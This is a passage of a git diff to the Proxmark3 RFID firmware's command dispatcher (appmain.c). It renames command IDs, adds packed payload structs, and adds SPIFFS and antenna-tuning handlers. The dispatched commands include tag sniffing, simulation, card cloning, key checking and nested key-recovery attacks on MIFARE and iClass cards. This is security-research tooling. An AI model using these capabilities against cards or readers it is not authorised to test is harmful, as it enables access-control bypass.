CMD_READER_LEGIC_RF: { + case CMD_HF_LEGIC_READER: { LegicRfReader(packet->oldarg[0], packet->oldarg[1], packet->oldarg[2]); break; } - case CMD_LEGIC_INFO: { + case CMD_HF_LEGIC_INFO: { LegicRfInfo(); break; } - case CMD_LEGIC_ESET: { + case CMD_HF_LEGIC_ESET: { //----------------------------------------------------------------------------- // Note: we call FpgaDownloadAndGo(FPGA_BITSTREAM_HF) here although FPGA is not // involved in dealing with emulator memory. But if it is called later, it might @@ -1037,19 +1027,19 @@ static void PacketReceived(PacketCommandNG *packet) { #endif #ifdef WITH_ISO14443b - case CMD_READ_SRI_TAG: { + case CMD_HF_SRI_READ: { ReadSTMemoryIso14443b(packet->oldarg[0]); break; } - case CMD_SNIFF_ISO_14443B: { + case CMD_HF_ISO14443B_SNIFF: { SniffIso14443b(); break; } - case CMD_SIMULATE_TAG_ISO_14443B: { + case CMD_HF_ISO14443B_SIMULATE: { SimulateIso14443bTag(packet->oldarg[0]); break; } - case CMD_ISO_14443B_COMMAND: { + case CMD_HF_ISO14443B_COMMAND: { //SendRawCommand14443B(packet->oldarg[0],packet->oldarg[1],packet->oldarg[2],packet->data.asBytes); SendRawCommand14443B_Ex(packet); break; @@ -1057,34 +1047,34 @@ static void PacketReceived(PacketCommandNG *packet) { #endif #ifdef WITH_FELICA - case CMD_FELICA_COMMAND: { + case CMD_HF_FELICA_COMMAND: { felica_sendraw(packet); break; } - case CMD_FELICA_LITE_SIM: { + case CMD_HF_FELICALITE_SIMULATE: { felica_sim_lite(packet->oldarg[0]); break; } - case CMD_FELICA_SNIFF: { + case CMD_HF_FELICA_SNIFF: { felica_sniff(packet->oldarg[0], packet->oldarg[1]); break; } - case CMD_FELICA_LITE_DUMP: { + case CMD_HF_FELICALITE_DUMP: { felica_dump_lite_s(); break; } #endif #ifdef WITH_ISO14443a - case CMD_SNIFF_ISO_14443a: { + case CMD_HF_ISO14443A_SNIFF: { SniffIso14443a(packet->data.asBytes[0]); break; } - case CMD_READER_ISO_14443a: { + case CMD_HF_ISO14443A_READER: { ReaderIso14443a(packet); break; } - case CMD_SIMULATE_TAG_ISO_14443a: { + case CMD_HF_ISO14443A_SIMULATE: { struct p { uint8_t tagtype; uint8_t flags; @@ -1094,102 +1084,128 @@ static void PacketReceived(PacketCommandNG *packet) { SimulateIso14443aTag(payload->tagtype, payload->flags, payload->uid); // ## Simulate iso14443a tag - pass tag type & UID break; } - case CMD_ANTIFUZZ_ISO_14443a: { + case CMD_HF_ISO14443A_ANTIFUZZ: { iso14443a_antifuzz(packet->oldarg[0]); break; } - case CMD_EPA_PACE_COLLECT_NONCE: { + case CMD_HF_EPA_COLLECT_NONCE: { EPA_PACE_Collect_Nonce(packet); break; } - case CMD_EPA_PACE_REPLAY: { + case CMD_HF_EPA_REPLAY: { EPA_PACE_Replay(packet); break; } - case CMD_READER_MIFARE: { - ReaderMifare(packet->oldarg[0], packet->oldarg[1], packet->oldarg[2]); + case CMD_HF_MIFARE_READER: { + struct p { + uint8_t first_run; + uint8_t blockno; + uint8_t key_type; + } PACKED; + struct p *payload = (struct p *) packet->data.asBytes; + ReaderMifare(payload->first_run, payload->blockno, payload->key_type); break; } - case CMD_MIFARE_READBL: { + case CMD_HF_MIFARE_READBL: { mf_readblock_t *payload = (mf_readblock_t *)packet->data.asBytes; MifareReadBlock(payload->blockno, payload->keytype, payload->key); break; } - case CMD_MIFAREU_READBL: { + case CMD_HF_MIFAREU_READBL: { MifareUReadBlock(packet->oldarg[0], packet->oldarg[1], packet->data.asBytes); break; } - case CMD_MIFAREUC_AUTH: { + case CMD_HF_MIFAREUC_AUTH: { MifareUC_Auth(packet->oldarg[0], packet->data.asBytes); break; } - case CMD_MIFAREU_READCARD: { + case CMD_HF_MIFAREU_READCARD: { MifareUReadCard(packet->oldarg[0], packet->oldarg[1], packet->oldarg[2], packet->data.asBytes); break; } - case CMD_MIFAREUC_SETPWD: { + case CMD_HF_MIFAREUC_SETPWD: { MifareUSetPwd(packet->oldarg[0], packet->data.asBytes); break; } - case CMD_MIFARE_READSC: { + case CMD_HF_MIFARE_READSC: { MifareReadSector(packet->oldarg[0], packet->oldarg[1], packet->data.asBytes); break; } - case CMD_MIFARE_WRITEBL: { + case CMD_HF_MIFARE_WRITEBL: { MifareWriteBlock(packet->oldarg[0], packet->oldarg[1], packet->data.asBytes); break; } - //case CMD_MIFAREU_WRITEBL_COMPAT: { - //MifareUWriteBlockCompat(packet->oldarg[0], packet->data.asBytes); - //break; - //} - case CMD_MIFAREU_WRITEBL: { + case CMD_HF_MIFAREU_WRITEBL: { MifareUWriteBlock(packet->oldarg[0], packet->oldarg[1], packet->data.asBytes); break; } - case CMD_MIFARE_ACQUIRE_ENCRYPTED_NONCES: { + case CMD_HF_MIFARE_ACQ_ENCRYPTED_NONCES: { MifareAcquireEncryptedNonces(packet->oldarg[0], packet->oldarg[1], packet->oldarg[2], packet->data.asBytes); break; } - case CMD_MIFARE_ACQUIRE_NONCES: { + case CMD_HF_MIFARE_ACQ_NONCES: { MifareAcquireNonces(packet->oldarg[0], packet->oldarg[2]); break; } - case CMD_MIFARE_NESTED: { - MifareNested(packet->oldarg[0], packet->oldarg[1], packet->oldarg[2], packet->data.asBytes); + case CMD_HF_MIFARE_NESTED: { + struct p { + uint8_t block; + uint8_t keytype; + uint8_t target_block; + uint8_t target_keytype; + bool calibrate; + uint8_t key[6]; + } PACKED; + struct p *payload = (struct p *) packet->data.asBytes; + MifareNested(payload->block, payload->keytype, payload->target_block, payload->target_keytype, payload->calibrate, payload->key); break; } - case CMD_MIFARE_CHKKEYS: { + case CMD_HF_MIFARE_STATIC_NESTED: { + struct p { + uint8_t block; + uint8_t keytype; + uint8_t target_block; + uint8_t target_keytype; + uint8_t key[6]; + } PACKED; + struct p *payload = (struct p *) packet->data.asBytes; + MifareStaticNested(payload->block, payload->keytype, payload->target_block, payload->target_keytype, payload->key); + break; + } + case CMD_HF_MIFARE_CHKKEYS: { MifareChkKeys(packet->data.asBytes); break; } - case CMD_MIFARE_CHKKEYS_FAST: { + case CMD_HF_MIFARE_CHKKEYS_FAST: { MifareChkKeys_fast(packet->oldarg[0], packet->oldarg[1], packet->oldarg[2], packet->data.asBytes); break; } - case CMD_SIMULATE_MIFARE_CARD: { + case CMD_HF_MIFARE_CHKKEYS_FILE: { + struct p { + uint8_t filename[32]; + } PACKED; + struct p *payload = (struct p *) packet->data.asBytes; + MifareChkKeys_file(payload->filename); + break; + } + case CMD_HF_MIFARE_SIMULATE: { struct p { uint16_t flags; uint8_t exitAfter; uint8_t uid[10]; + uint16_t atqa; + uint8_t sak; } PACKED; struct p *payload = (struct p *) packet->data.asBytes; - Mifare1ksim(payload->flags, payload->exitAfter, payload->uid); + Mifare1ksim(payload->flags, payload->exitAfter, payload->uid, payload->atqa, payload->sak); break; } - // emulator - case CMD_SET_DBGMODE: { - DBGLEVEL = packet->data.asBytes[0]; - Dbprintf("Debug level: %d", DBGLEVEL); - reply_ng(CMD_SET_DBGMODE, PM3_SUCCESS, NULL, 0); - break; - } - case CMD_MIFARE_EML_MEMCLR: { + case CMD_HF_MIFARE_EML_MEMCLR: { MifareEMemClr(); - reply_ng(CMD_MIFARE_EML_MEMCLR, PM3_SUCCESS, NULL, 0); + reply_ng(CMD_HF_MIFARE_EML_MEMCLR, PM3_SUCCESS, NULL, 0); break; } - case CMD_MIFARE_EML_MEMSET: { + case CMD_HF_MIFARE_EML_MEMSET: { struct p { uint8_t blockno; uint8_t blockcnt; @@ -1200,7 +1216,7 @@ static void PacketReceived(PacketCommandNG *packet) { MifareEMemSet(payload->blockno, payload->blockcnt, payload->blockwidth, payload->data); break; } - case CMD_MIFARE_EML_MEMGET: { + case CMD_HF_MIFARE_EML_MEMGET: { struct p { uint8_t blockno; uint8_t blockcnt; @@ -1209,129 +1225,188 @@ static void PacketReceived(PacketCommandNG *packet) { MifareEMemGet(payload->blockno, payload->blockcnt); break; } - case CMD_MIFARE_EML_CARDLOAD: { - MifareECardLoad(packet->oldarg[0], packet->oldarg[1]); + case CMD_HF_MIFARE_EML_LOAD: { + mfc_eload_t *payload = (mfc_eload_t *) packet->data.asBytes; + MifareECardLoadExt(payload->sectorcnt, payload->keytype); break; } // Work with "magic Chinese" card - case CMD_MIFARE_CSETBLOCK: { + case CMD_HF_MIFARE_CSETBL: { MifareCSetBlock(packet->oldarg[0], packet->oldarg[1], packet->data.asBytes); break; } - case CMD_MIFARE_CGETBLOCK: { + case CMD_HF_MIFARE_CGETBL: { MifareCGetBlock(packet->oldarg[0], packet->oldarg[1], packet->data.asBytes); break; } - case CMD_MIFARE_CIDENT: { + case CMD_HF_MIFARE_CIDENT: { MifareCIdent(); break; } // mifare sniffer -// case CMD_MIFARE_SNIFFER: { +// case CMD_HF_MIFARE_SNIFF: { // SniffMifare(packet->oldarg[0]); // break; // } - case CMD_MIFARE_SETMOD: { + case CMD_HF_MIFARE_PERSONALIZE_UID: { + struct p { + uint8_t keytype; + uint8_t pers_option; + uint8_t key[6]; + } PACKED; + struct p *payload = (struct p *) packet->data.asBytes; + uint64_t authkey = bytes_to_num(payload->key, 6); + MifarePersonalizeUID(payload->keytype, payload->pers_option, authkey); + break; + } + case CMD_HF_MIFARE_SETMOD: { MifareSetMod(packet->data.asBytes); break; } //mifare desfire - case CMD_MIFARE_DESFIRE_READBL: { + case CMD_HF_DESFIRE_READBL: { break; } - case CMD_MIFARE_DESFIRE_WRITEBL: { + case CMD_HF_DESFIRE_WRITEBL: { break; } - case CMD_MIFARE_DESFIRE_AUTH1: { + case CMD_HF_DESFIRE_AUTH1: { MifareDES_Auth1(packet->oldarg[0], packet->oldarg[1], packet->oldarg[2], packet->data.asBytes); break; } - case CMD_MIFARE_DESFIRE_AUTH2: { + case CMD_HF_DESFIRE_AUTH2: { //MifareDES_Auth2(packet->oldarg[0],packet->data.asBytes); break; } - case CMD_MIFARE_DES_READER: { + case CMD_HF_DESFIRE_READER: { //readermifaredes(packet->oldarg[0], packet->oldarg[1], packet->data.asBytes); break; } - case CMD_MIFARE_DESFIRE_INFO: { + case CMD_HF_DESFIRE_INFO: { MifareDesfireGetInformation(); break; } - case CMD_MIFARE_DESFIRE: { + case CMD_HF_DESFIRE_COMMAND: { MifareSendCommand(packet->oldarg[0], packet->oldarg[1], packet->data.asBytes); break; } - case CMD_MIFARE_COLLECT_NONCES: { + case CMD_HF_MIFARE_NACK_DETECT: { + DetectNACKbug(); break; } - case CMD_MIFARE_NACK_DETECT: { - DetectNACKbug(); + case CMD_HF_MFU_OTP_TEAROFF: { + MifareU_Otp_Tearoff(); + break; + } + case CMD_HF_MIFARE_STATIC_NONCE: { + MifareHasStaticNonce(); + break; + } +#endif + +#ifdef WITH_NFCBARCODE + case CMD_HF_THINFILM_READ: { + ReadThinFilm(); + break; + } + case CMD_HF_THINFILM_SIMULATE: { + SimulateThinFilm(packet->data.asBytes, packet->length); break; } #endif #ifdef WITH_ICLASS // Makes use of ISO14443a FPGA Firmware - case CMD_SNIFF_ICLASS: { + case CMD_HF_ICLASS_SNIFF: { SniffIClass(); break; } - case CMD_SIMULATE_TAG_ICLASS: { + case CMD_HF_ICLASS_SIMULATE: { SimulateIClass(packet->oldarg[0], packet->oldarg[1], packet->oldarg[2], packet->data.asBytes); break; } - case CMD_READER_ICLASS: { + case CMD_HF_ICLASS_READER: { ReaderIClass(packet->oldarg[0]); break; } - case CMD_READER_ICLASS_REPLAY: { + case CMD_HF_ICLASS_REPLAY: { ReaderIClass_Replay(packet->oldarg[0], packet->data.asBytes); break; } - case CMD_ICLASS_EML_MEMSET: { + case CMD_HF_ICLASS_EML_MEMSET: { //iceman, should call FPGADOWNLOAD before, since it corrupts BigBuf FpgaDownloadAndGo(FPGA_BITSTREAM_HF); emlSet(packet->data.asBytes, packet->oldarg[0], packet->oldarg[1]); break; } - case CMD_ICLASS_WRITEBLOCK: { - iClass_WriteBlock(packet->oldarg[0], packet->data.asBytes); + case CMD_HF_ICLASS_WRITEBL: { + struct p { + uint8_t blockno; + uint8_t data[12]; + } PACKED; + struct p *payload = (struct p *)packet->data.asBytes; + iClass_WriteBlock(payload->blockno, payload->data); break; } - case CMD_ICLASS_READCHECK: { // auth step 1 + // iceman2019, unused? + case CMD_HF_ICLASS_READCHECK: { // auth step 1 iClass_ReadCheck(packet->oldarg[0], packet->oldarg[1]); break; } - case CMD_ICLASS_READBLOCK: { - iClass_ReadBlk(packet->oldarg[0]); + case CMD_HF_ICLASS_READBL: { + /* + struct p { + uint8_t blockno; + } PACKED; + struct p *payload = (struct p *)packet->data.asBytes; + */ + iClass_ReadBlk(packet->data.asBytes[0]); break; } - case CMD_ICLASS_AUTHENTICATION: { //check + case CMD_HF_ICLASS_AUTH: { //check + /* + struct p { + uint8_t mac[4]; + } PACKED; + struct p *payload = (struct p *)packet->data.asBytes; + */ iClass_Authentication(packet->data.asBytes); break; } - case CMD_ICLASS_CHECK_KEYS: { + case CMD_HF_ICLASS_CHKKEYS: { iClass_Authentication_fast(packet->oldarg[0], packet->oldarg[1], packet->data.asBytes); break; } - case CMD_ICLASS_DUMP: { + case CMD_HF_ICLASS_DUMP: { iClass_Dump(packet->oldarg[0], packet->oldarg[1]); break; } - case CMD_ICLASS_CLONE: { - iClass_Clone(packet->oldarg[0], packet->oldarg[1], packet->data.asBytes); + case CMD_HF_ICLASS_CLONE: { + struct p { + uint8_t startblock; + uint8_t endblock; + uint8_t data[]; + } PACKED; + struct p *payload = (struct p *)packet->data.asBytes; + iClass_Clone(payload->startblock, payload->endblock, payload->data); break; } #endif #ifdef WITH_HFSNIFF - case CMD_HF_SNIFFER: { + case CMD_HF_SNIFF: { HfSniff(packet->oldarg[0], packet->oldarg[1]); break; } #endif +#ifdef WITH_HFPLOT + case CMD_FPGAMEM_DOWNLOAD: { + HfPlotDownload(); + break; + } +#endif + #ifdef WITH_SMARTCARD case CMD_SMART_ATR: { SmartCardAtr(); @@ -1465,6 +1540,7 @@ static void PacketReceived(PacketCommandNG *packet) { case CMD_MEASURE_ANTENNA_TUNING_HF: { if (packet->length != 1) reply_ng(CMD_MEASURE_ANTENNA_TUNING_HF, PM3_EINVARG, NULL, 0); + switch (packet->data.asBytes[0]) { case 1: // MEASURE_ANTENNA_TUNING_HF_START // Let the FPGA drive the high-frequency antenna around 13.56 MHz. @@ -1488,6 +1564,35 @@ static void PacketReceived(PacketCommandNG *packet) { } break; } + case CMD_MEASURE_ANTENNA_TUNING_LF: { + if (packet->length != 2) + reply_ng(CMD_MEASURE_ANTENNA_TUNING_LF, PM3_EINVARG, NULL, 0); + + switch (packet->data.asBytes[0]) { + case 1: // MEASURE_ANTENNA_TUNING_LF_START + // Let the FPGA drive the low-frequency antenna around 125kHz + FpgaDownloadAndGo(FPGA_BITSTREAM_LF); + FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_READER | FPGA_LF_ADC_READER_FIELD); + FpgaSendCommand(FPGA_CMD_SET_DIVISOR, packet->data.asBytes[1]); + reply_ng(CMD_MEASURE_ANTENNA_TUNING_LF, PM3_SUCCESS, NULL, 0); + break; + case 2: + if (button_status == BUTTON_SINGLE_CLICK) + reply_ng(CMD_MEASURE_ANTENNA_TUNING_LF, PM3_EOPABORTED, NULL, 0); + + uint32_t volt = MeasureAntennaTuningLfData(); + reply_ng(CMD_MEASURE_ANTENNA_TUNING_LF, PM3_SUCCESS, (uint8_t *)&volt, sizeof(volt)); + break; + case 3: + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + reply_ng(CMD_MEASURE_ANTENNA_TUNING_LF, PM3_SUCCESS, NULL, 0); + break; + default: + reply_ng(CMD_MEASURE_ANTENNA_TUNING_LF, PM3_EINVARG, NULL, 0); + break; + } + break; + } case CMD_LISTEN_READER_FIELD: { if (packet->length != sizeof(uint8_t)) break; @@ -1528,7 +1633,7 @@ static void PacketReceived(PacketCommandNG *packet) { break; } #ifdef WITH_LF - case CMD_UPLOAD_SIM_SAMPLES_125K: { + case CMD_LF_UPLOAD_SIM_SAMPLES: { // iceman; since changing fpga_bitstreams clears bigbuff, Its better to call it before. // to be able to use this one for uploading data to device // flag = @@ -1548,9 +1653,19 @@ static void PacketReceived(PacketCommandNG *packet) { BigBuf_free(); } + // 40 000 - (512-3) 509 = 39491 + uint16_t offset = MIN(BIGBUF_SIZE - PM3_CMD_DATA_SIZE - 3, payload->offset); + + // need to copy len bytes of data, not PM3_CMD_DATA_SIZE - 3 - offset + // ensure len bytes copied wont go past end of bigbuf + uint16_t len = MIN(BIGBUF_SIZE - offset, PM3_CMD_DATA_SIZE - 3); + uint8_t *mem = BigBuf_get_addr(); - memcpy(mem + payload->offset, &payload->data, PM3_CMD_DATA_SIZE - 3); - reply_ng(CMD_UPLOAD_SIM_SAMPLES_125K, PM3_SUCCESS, NULL, 0); + + // x + 394 + memcpy(mem + offset, &payload->data, len); + // memcpy(mem + offset, &payload->data, PM3_CMD_DATA_SIZE - 3 - offset); + reply_ng(CMD_LF_UPLOAD_SIM_SAMPLES, PM3_SUCCESS, NULL, 0); break; } #endif @@ -1571,7 +1686,7 @@ static void PacketReceived(PacketCommandNG *packet) { Dbprintf("transfer to client failed :: | bytes between %d - %d (%d) | result: %d", i, i + len, len, result); } // Trigger a finish downloading signal with an ACK frame - reply_old(CMD_ACK, 1, 0, 0, 0, 0); + reply_mix(CMD_ACK, 1, 0, 0, 0, 0); LED_B_OFF(); break; } @@ -1582,42 +1697,148 @@ static void PacketReceived(PacketCommandNG *packet) { break; } #ifdef WITH_FLASH - case CMD_FLASHMEM_SET_SPIBAUDRATE: { - FlashmemSetSpiBaudrate(packet->oldarg[0]); + case CMD_SPIFFS_TEST: { + test_spiffs(); break; } - case CMD_FLASHMEM_READ: { + case CMD_SPIFFS_CHECK: { + rdv40_spiffs_check(); + break; + } + case CMD_SPIFFS_MOUNT: { + rdv40_spiffs_lazy_mount(); + break; + } + case CMD_SPIFFS_UNMOUNT: { + rdv40_spiffs_lazy_unmount(); + break; + } + case CMD_SPIFFS_PRINT_TREE: { + rdv40_spiffs_safe_print_tree(false); + break; + } + case CMD_SPIFFS_PRINT_FSINFO: { + rdv40_spiffs_safe_print_fsinfo(); + break; + } + case CMD_SPIFFS_DOWNLOAD: { LED_B_ON(); - uint32_t startidx = packet->oldarg[0]; - uint16_t len = packet->oldarg[1]; + uint8_t filename[32]; + uint8_t *pfilename = packet->data.asBytes; + memcpy(filename, pfilename, SPIFFS_OBJ_NAME_LEN); + if (DBGLEVEL > 1) Dbprintf("> Filename received for spiffs dump : %s", filename); - Dbprintf("FlashMem read | %d - %d | ", startidx, len); + //uint32_t size = 0; + //rdv40_spiffs_stat((char *)filename, (uint32_t *)size,RDV40_SPIFFS_SAFETY_SAFE); + uint32_t size = packet->oldarg[1]; + //uint8_t buff[size]; - size_t size = MIN(PM3_CMD_DATA_SIZE, len); + uint8_t *buff = BigBuf_malloc(size); + rdv40_spiffs_read_as_filetype((char *)filename, (uint8_t *)buff, size, RDV40_SPIFFS_SAFETY_SAFE); - if (!FlashInit()) { - break; + // arg0 = filename + // arg1 = size + // arg2 = RFU + + for (size_t i = 0; i < size; i += PM3_CMD_DATA_SIZE) { + size_t len = MIN((size - i), PM3_CMD_DATA_SIZE); + int result = reply_old(CMD_SPIFFS_DOWNLOADED, i, len, 0, buff + i, len); + if (result != PM3_SUCCESS) + Dbprintf("transfer to client failed :: | bytes between %d - %d (%d) | result: %d", i, i + len, len, result); } - - uint8_t *mem = BigBuf_malloc(size); - - for (size_t i = 0; i < len; i += size) { - len = MIN((len - i), size); - - Dbprintf("FlashMem reading | %d | %d | %d |", startidx + i, i, len); - uint16_t isok = Flash_ReadDataCont(startidx + i, mem, len); - if (isok == len) { - print_result("Chunk: ", mem, len); - } else { - Dbprintf("FlashMem reading failed | %d | %d", len, isok); - break; - } - } - BigBuf_free(); - FlashStop(); + // Trigger a finish downloading signal with an ACK frame + reply_mix(CMD_ACK, 1, 0, 0, 0, 0); LED_B_OFF(); break; } + case CMD_SPIFFS_STAT: { + LED_B_ON(); + uint8_t filename[32]; + uint8_t *pfilename = packet->data.asBytes; + memcpy(filename, pfilename, SPIFFS_OBJ_NAME_LEN); + if (DBGLEVEL > 1) Dbprintf("> Filename received for spiffs STAT : %s", filename); + int changed = rdv40_spiffs_lazy_mount(); + uint32_t size = size_in_spiffs((char *)filename); + if (changed) rdv40_spiffs_lazy_unmount(); + reply_old(CMD_ACK, size, 0, 0, 0, 0); + LED_B_OFF(); + break; + } + case CMD_SPIFFS_REMOVE: { + LED_B_ON(); + uint8_t filename[32]; + uint8_t *pfilename = packet->data.asBytes; + memcpy(filename, pfilename, SPIFFS_OBJ_NAME_LEN); + if (DBGLEVEL > 1) Dbprintf("> Filename received for spiffs REMOVE : %s", filename); + rdv40_spiffs_remove((char *) filename, RDV40_SPIFFS_SAFETY_SAFE); + LED_B_OFF(); + break; + } + case CMD_SPIFFS_RENAME: { + LED_B_ON(); + uint8_t src[32]; + uint8_t dest[32]; + uint8_t *pfilename = packet->data.asBytes; + char *token; + token = strtok((char *)pfilename, ","); + strncpy((char *)src, token, sizeof(src) - 1); + token = strtok(NULL, ","); + strncpy((char *)dest, token, sizeof(dest) - 1); + if (DBGLEVEL > 1) { + Dbprintf("> Filename received as source for spiffs RENAME : %s", src); + Dbprintf("> Filename received as destination for spiffs RENAME : %s", dest); + } + rdv40_spiffs_rename((char *) src, (char *)dest, RDV40_SPIFFS_SAFETY_SAFE); + LED_B_OFF(); + break; + } + case CMD_SPIFFS_COPY: { + LED_B_ON(); + uint8_t src[32]; + uint8_t dest[32]; + uint8_t *pfilename = packet->data.asBytes; + char *token; + token = strtok((char *)pfilename, ","); + strncpy((char *)src, token, sizeof(src) - 1); + token = strtok(NULL, ","); + strncpy((char *)dest, token, sizeof(dest) - 1); + if (DBGLEVEL > 1) { + Dbprintf("> Filename received as source for spiffs COPY : %s", src); + Dbprintf("> Filename received as destination for spiffs COPY : %s", dest); + } + rdv40_spiffs_copy((char *) src, (char *)dest, RDV40_SPIFFS_SAFETY_SAFE); + LED_B_OFF(); + break; + } + case CMD_SPIFFS_WRITE: { + LED_B_ON(); + uint8_t filename[32]; + uint32_t append = packet->oldarg[0]; + uint32_t size = packet->oldarg[1]; + uint8_t *data = packet->data.asBytes; + + //rdv40_spiffs_lazy_mount(); + + uint8_t *pfilename = packet->data.asBytes; + memcpy(filename, pfilename, SPIFFS_OBJ_NAME_LEN); + data += SPIFFS_OBJ_NAME_LEN; + + if (DBGLEVEL > 1) Dbprintf("> Filename received for spiffs WRITE : %s with APPEND SET TO : %d", filename, append); + if (!append) { + rdv40_spiffs_write((char *) filename, (uint8_t *)data, size, RDV40_SPIFFS_SAFETY_SAFE); + } else { + rdv40_spiffs_append((char *) filename, (uint8_t *)data, size, RDV40_SPIFFS_SAFETY_SAFE); + } + reply_mix(CMD_ACK, 1, 0, 0, 0, 0); + LED_B_OFF(); + break; + } + case CMD_FLASHMEM_SET_SPIBAUDRATE: { + if (packet->length != sizeof(uint32_t)) + break; + FlashmemSetSpiBaudrate(packet->data.asDwords[0]); + break; + } case CMD_FLASHMEM_WRITE: { LED_B_ON(); uint8_t isok = 0; @@ -1626,60 +1847,31 @@ static void PacketReceived(PacketCommandNG *packet) { uint16_t len = packet->oldarg[1]; uint8_t *data = packet->data.asBytes; - uint32_t tmp = startidx + len; - if (!FlashInit()) { break; } - Flash_CheckBusy(BUSY_TIMEOUT); - Flash_WriteEnable(); - if (startidx == DEFAULT_T55XX_KEYS_OFFSET) { + Flash_CheckBusy(BUSY_TIMEOUT); + Flash_WriteEnable(); Flash_Erase4k(3, 0xC); } else if (startidx == DEFAULT_MF_KEYS_OFFSET) { + Flash_CheckBusy(BUSY_TIMEOUT); + Flash_WriteEnable(); Flash_Erase4k(3, 0x9); + Flash_CheckBusy(BUSY_TIMEOUT); + Flash_WriteEnable(); Flash_Erase4k(3, 0xA); } else if (startidx == DEFAULT_ICLASS_KEYS_OFFSET) { + Flash_CheckBusy(BUSY_TIMEOUT); + Flash_WriteEnable(); Flash_Erase4k(3, 0xB); } - Flash_CheckBusy(BUSY_TIMEOUT); - Flash_WriteEnable(); + res = Flash_Write(startidx, data, len); + isok = (res == len) ? 1 : 0; - // inside 256b page? - if ((tmp & 0xFF) != 0) { - - // is offset+len larger than a page - tmp = (startidx & 0xFF) + len; - if (tmp > 0xFF) { - - // data spread over two pages. - - // offset xxxx10, - uint8_t first_len = (~startidx & 0xFF) + 1; - - // first mem page - res = Flash_WriteDataCont(startidx, data, first_len); - - isok = (res == first_len) ? 1 : 0; - - // second mem page - res = Flash_WriteDataCont(startidx + first_len, data + first_len, len - first_len); - - isok &= (res == (len - first_len)) ? 1 : 0; - - } else { - res = Flash_WriteDataCont(startidx, data, len); - isok = (res == len) ? 1 : 0; - } - } else { - res = Flash_WriteDataCont(startidx, data, len); - isok = (res == len) ? 1 : 0; - } - FlashStop(); - - reply_old(CMD_ACK, isok, 0, 0, 0, 0); + reply_mix(CMD_ACK, isok, 0, 0, 0, 0); LED_B_OFF(); break; } @@ -1690,14 +1882,14 @@ static void PacketReceived(PacketCommandNG *packet) { bool isok = false; if (initalwipe) { isok = Flash_WipeMemory(); - reply_old(CMD_ACK, isok, 0, 0, 0, 0); + reply_mix(CMD_ACK, isok, 0, 0, 0, 0); LED_B_OFF(); break; } if (page < 3) isok = Flash_WipeMemoryPage(page); - reply_old(CMD_ACK, isok, 0, 0, 0, 0); + reply_mix(CMD_ACK, isok, 0, 0, 0, 0); LED_B_OFF(); break; } @@ -1717,7 +1909,7 @@ static void PacketReceived(PacketCommandNG *packet) { for (size_t i = 0; i < numofbytes; i += PM3_CMD_DATA_SIZE) { size_t len = MIN((numofbytes - i), PM3_CMD_DATA_SIZE); - + Flash_CheckBusy(BUSY_TIMEOUT); bool isok = Flash_ReadDataCont(startidx + i, mem, len); if (!isok) Dbprintf("reading flash memory failed :: | bytes between %d - %d", i, len); @@ -1728,7 +1920,7 @@ static void PacketReceived(PacketCommandNG *packet) { } FlashStop(); - reply_old(CMD_ACK, 1, 0, 0, 0, 0); + reply_mix(CMD_ACK, 1, 0, 0, 0, 0); BigBuf_free(); LED_B_OFF(); break; @@ -1751,7 +1943,7 @@ static void PacketReceived(PacketCommandNG *packet) { break; } #endif - case CMD_SET_LF_DIVISOR: { + case CMD_LF_SET_DIVISOR: { FpgaDownloadAndGo(FPGA_BITSTREAM_LF); FpgaSendCommand(FPGA_CMD_SET_DIVISOR, packet->data.asBytes[0]); break; @@ -1783,6 +1975,24 @@ static void PacketReceived(PacketCommandNG *packet) { SendStatus(); break; } + case CMD_TIA: { + + while ((AT91C_BASE_PMC->PMC_MCFR & AT91C_CKGR_MAINRDY) == 0); // Wait for MAINF value to become available... + uint16_t mainf = AT91C_BASE_PMC->PMC_MCFR & AT91C_CKGR_MAINF; + Dbprintf(" Slow clock old measured value:.........%d Hz", (16 * MAINCK) / mainf); + TimingIntervalAcquisition(); + + while ((AT91C_BASE_PMC->PMC_MCFR & AT91C_CKGR_MAINRDY) == 0); // Wait for MAINF value to become available... + mainf = AT91C_BASE_PMC->PMC_MCFR & AT91C_CKGR_MAINF; + Dbprintf(""); // first message gets lost + Dbprintf(" Slow clock new measured value:.........%d Hz", (16 * MAINCK) / mainf); + reply_ng(CMD_TIA, PM3_SUCCESS, NULL, 0); + break; + } + case CMD_STANDALONE: { + RunMod(); + break; + } case CMD_CAPABILITIES: { SendCapabilities(); break; @@ -1801,7 +2011,6 @@ static void PacketReceived(PacketCommandNG *packet) { break; } #endif - case CMD_SETUP_WRITE: case CMD_FINISH_WRITE: case CMD_HARDWARE_RESET: { usb_disable(); @@ -1857,8 +2066,8 @@ void __attribute__((noreturn)) AppMain(void) { AT91C_BASE_PIOA->PIO_BSR = GPIO_PCK0; AT91C_BASE_PIOA->PIO_PDR = GPIO_PCK0; AT91C_BASE_PMC->PMC_SCER |= AT91C_PMC_PCK0; - // PCK0 is PLL clock / 4 = 96Mhz / 4 = 24Mhz - AT91C_BASE_PMC->PMC_PCKR[0] = AT91C_PMC_CSS_PLL_CLK | AT91C_PMC_PRES_CLK_4; // 4 for 24Mhz pck0, 2 for 48 MHZ pck0 + // PCK0 is PLL clock / 4 = 96MHz / 4 = 24MHz + AT91C_BASE_PMC->PMC_PCKR[0] = AT91C_PMC_CSS_PLL_CLK | AT91C_PMC_PRES_CLK_4; // 4 for 24MHz pck0, 2 for 48 MHZ pck0 AT91C_BASE_PIOA->PIO_OER = GPIO_PCK0; // Reset SPI @@ -1893,10 +2102,16 @@ void __attribute__((noreturn)) AppMain(void) { // against device such as http://www.hobbytronics.co.uk/usb-host-board-v2 usb_disable(); usb_enable(); + allow_send_wtx = true; #ifdef WITH_FLASH // If flash is not present, BUSY_TIMEOUT kicks in, let's do it after USB loadT55xxConfig(); + + // + // Enforce a spiffs check/garbage collection at boot so we are likely to never + // fall under the 2 contigous free blocks availables + rdv40_spiffs_check(); #endif for (;;) { @@ -1922,7 +2137,9 @@ void __attribute__((noreturn)) AppMain(void) { * So this is the trigger to execute a standalone mod. Generic entrypoint by following the standalone/standalone.h headerfile * All standalone mod "main loop" should be the RunMod() function. */ + allow_send_wtx = false; RunMod(); + allow_send_wtx = true; } } } diff --git a/armsrc/appmain.h b/armsrc/appmain.h new file mode 100644 index 000000000..141c943f9 --- /dev/null +++ b/armsrc/appmain.h @@ -0,0 +1,44 @@ +//----------------------------------------------------------------------------- +// Jonathan Westhues, Aug 2005 +// Gerhard de Koning Gans, April 2008, May 2011 +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. 